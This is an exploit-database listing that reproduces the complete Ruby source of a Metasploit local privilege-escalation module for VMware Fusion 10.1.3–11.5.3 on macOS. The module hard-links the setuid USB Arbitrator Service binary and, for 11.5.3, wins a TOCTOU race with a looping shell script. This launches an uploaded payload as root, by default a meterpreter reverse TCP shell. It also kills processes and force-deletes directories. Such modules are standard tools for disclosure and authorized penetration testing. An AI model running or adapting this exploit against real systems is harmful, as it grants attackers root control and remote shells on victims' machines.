VMware Fusion USB Arbitrator Setuid Privilege Escalation

2020.04.03
Credit: h00die
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::OSX::Priv include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation', 'Description' => %q( This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3. The Open VMware USB Arbitrator Service can be launched outide of its standard path which allows loading of an attacker controlled binary. By creating a payload in the user home directory in a specific folder, and creating a hard link to the 'Open VMware USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload with an effective UID of 0. @jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race. Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3. ), 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Dhanesh Kizhakkinan', # discovery 'Rich Mirch', # edb module 'jeffball <jeffball@dc949.org>', # 11.5.3 exploit 'grimm' ], 'Platform' => [ 'osx' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'CVE', '2020-3950' ], [ 'EDB', '48235' ], [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ], [ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ], [ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ] ], 'DisclosureDate' => 'Mar 17 2020', 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp', 'WfsDelay' => 15 } ) ) register_options [ OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75]) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ] end def open_usb_service 'Open VMware USB Arbitrator Service' end def usb_service 'VMware USB Arbitrator Service' end def get_home_dir home = cmd_exec 'echo ~' if home.blank? fail_with Failure::BadConfig, 'Unable to determine home dir for shell.' end home end def content_dir "#{get_home_dir}/Contents" end def base_dir "#{content_dir}/Library/services/" end def kill_process(executable) pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}') cmd_exec pid_kill end def get_version # Thanks to @ddouhine on github for this answer! version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString" /=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2 if version_raw.blank? fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version. Set ForceExploit to override.' end Gem::Version.new(version) end def pre_11_5_3 # Upload payload executable & chmod payload_filename = "#{base_dir}#{usb_service}" print_status "Uploading Payload: #{payload_filename}" write_file payload_filename, generate_payload_exe chmod payload_filename, 0o755 register_file_for_cleanup payload_filename # create folder structure and hard link to the original binary root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/" cmd_exec "mkdir -p #{link_folder}" cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'" print_status "Created folder (#{link_folder}) and link" print_status 'Starting USB Service (5 sec pause)' # XXX: The ; used by cmd_exec will interfere with &, so pad it with : cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :" Rex.sleep 5 # give time for the service to execute our payload print_status 'Killing service' cmd_exec "pkill '#{open_usb_service}'" print_status "Deleting #{root_link_folder}" rm_rf root_link_folder end def exactly_11_5_3 # Upload payload executable & chmod payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}" print_status "Uploading Payload to #{payload_name}" write_file payload_name, generate_payload_exe chmod payload_name, 0o755 #create race with codesign check root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/" print_status 'Uploading race condition executable.' race = <<~EOF #!/bin/sh while [ "1" = "1" ]; do ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}' ln -f '#{payload_name}' '#{base_dir}#{usb_service}' done EOF racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}" upload_and_chmodx racer_name, race register_file_for_cleanup racer_name register_dirs_for_cleanup root_link_folder # create the hard link print_status "Creating folder (#{link_folder}) and link" cmd_exec "mkdir -p #{link_folder}" cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'" # create the launcher to start the racer and keep launching our service to attempt to win launcher = <<~EOF #!/bin/sh #{racer_name} & for i in {1..#{datastore['MAXATTEMPTS']}} do echo "attempt $i"; '#{link_folder}#{open_usb_service}' done EOF runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}" upload_and_chmodx runner_name, launcher register_file_for_cleanup runner_name print_status "Launching Exploit #{runner_name} (sleeping 15sec)" # XXX: The ; used by cmd_exec will interfere with &, so pad it with : results = cmd_exec "#{runner_name} & :" Rex.sleep 15 # give time for the service to execute our payload vprint_status results print_status 'Exploit Finished, killing scripts.' kill_process racer_name kill_process runner_name # in theory should be killed already but just in case kill_process "'#{link_folder}#{open_usb_service}'" # kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed. # above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error # rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder end def check unless exists? "/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}" print_bad "'#{open_usb_service}' binary missing" return CheckCode::Safe end version = get_version if version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.3')) vprint_good "Vmware Fusion #{version} is exploitable" else print_bad "VMware Fusion #{version} is NOT exploitable" return CheckCode::Safe end CheckCode::Appears end def exploit # First check the system is vulnerable, or the user wants to run regardless unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end # Check if we're already root if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' end end # Make sure we can write our payload to the remote system rm_rf content_dir # live dangerously. if directory? content_dir fail_with Filure::BadConfig, "#{content_dir} exists. Unable to delete automatically. Please delete or exploit will fail." end cmd_exec "mkdir -p #{base_dir}" register_dirs_for_cleanup content_dir unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable." end version = get_version if version == Gem::Version.new('11.5.3') vprint_status 'Using 11.5.3 exploit' exactly_11_5_3 elsif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.2')) vprint_status 'Using pre-11.5.3 exploit' pre_11_5_3 end rm_rf content_dir # live dangerously. end end


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